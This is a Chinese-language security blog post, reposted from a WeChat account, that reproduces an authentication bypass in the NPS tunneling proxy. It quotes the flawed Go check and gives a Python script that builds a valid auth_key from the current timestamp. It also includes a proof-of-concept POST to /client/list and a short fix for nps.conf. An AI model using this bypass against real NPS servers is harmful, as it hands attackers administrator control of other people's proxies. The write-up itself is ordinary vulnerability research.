NPS auth_key 未授权访问漏洞复现

admin 2022年11月22日03:11:44评论1,054 views字数 1295阅读4分19秒阅读模式


NPS auth_key 未授权访问漏洞复现

NPS auth_key 未授权访问漏洞


一、漏洞描述

NPS auth_key 未授权访问漏洞复现

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。其中auth_key 存在未授权访问漏洞,当 nps.conf 中的 auth_key 未配置时攻击者通过生成特定的请求包可以获取服务器后台权限。


NPS auth_key 未授权访问漏洞复现

二、漏洞影响


NPS auth_key 未授权访问漏洞复现

NPS

三、漏洞复现

NPS auth_key 未授权访问漏洞复现


NPS auth_key 未授权访问漏洞复现

在 web/controllers/base.go 文件中,获取认证方式;

NPS auth_key 未授权访问漏洞复现

d5Key := s.getEscapeString("auth_key")timestamp := s.GetIntNoErr("timestamp")configKey := beego.AppConfig.String("auth_key"timeNowUnix := time.Now().Unix()if !(md5Key != "" && (math.Abs(float64(timeNowUnix-int64(timestamp))) <= 20) && (crypt.Md5(configKey+strconv.Itoa(timestamp)) == md5Key)) {  if s.GetSession("auth") != true { s.Redirect(beego.AppConfig.String("web_base_url")+"/login/index"302) }  } else {  s.SetSession("isAdmin"true) s.Data["isAdmin"] = true   }

NPS auth_key 未授权访问漏洞复现

这里的认证方式是通过配置文件nps.conf中的auth_key与timestamp的md5形式进行认证,但在默认的配置文件中,auth_key 默认被注释,所以只需要可以获取到的参数 timestamp 就可以绕过认证登录。

NPS auth_key 未授权访问漏洞复现


NPS auth_key 未授权访问漏洞复现

编写脚本生成 auth_key 和 timestamp

import time import hashlib now = time.time() m = hashlib.md5() m.update(str(int(now)).encode("utf8")) auth_key = m.hexdigest() print("auth_key=%s&timestamp=%s" % (auth_key,int(now)))

NPS auth_key 未授权访问漏洞复现

验证POC

POST /client/list search=&order=asc&offset=0&limit=10&auth_key=8c98b1bdedbc569c4e61eeaeb11ce772 &timestamp=1659838908

NPS auth_key 未授权访问漏洞复现


NPS auth_key 未授权访问漏洞复现

通过脚本进行批量验证

NPS auth_key 未授权访问漏洞复现

NPS auth_key 未授权访问漏洞复现

四、修复措施


NPS auth_key 未授权访问漏洞复现

vim /etc/nps/conf/nps.conf取消注释auth_key,添加auth_crypt_key注释。


END

原文始发于微信公众号(闪焰安全服务团队):NPS auth_key 未授权访问漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月22日03:11:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   NPS auth_key 未授权访问漏洞复现https://cn-sec.com/archives/1421962.html

发表评论

匿名网友 填写信息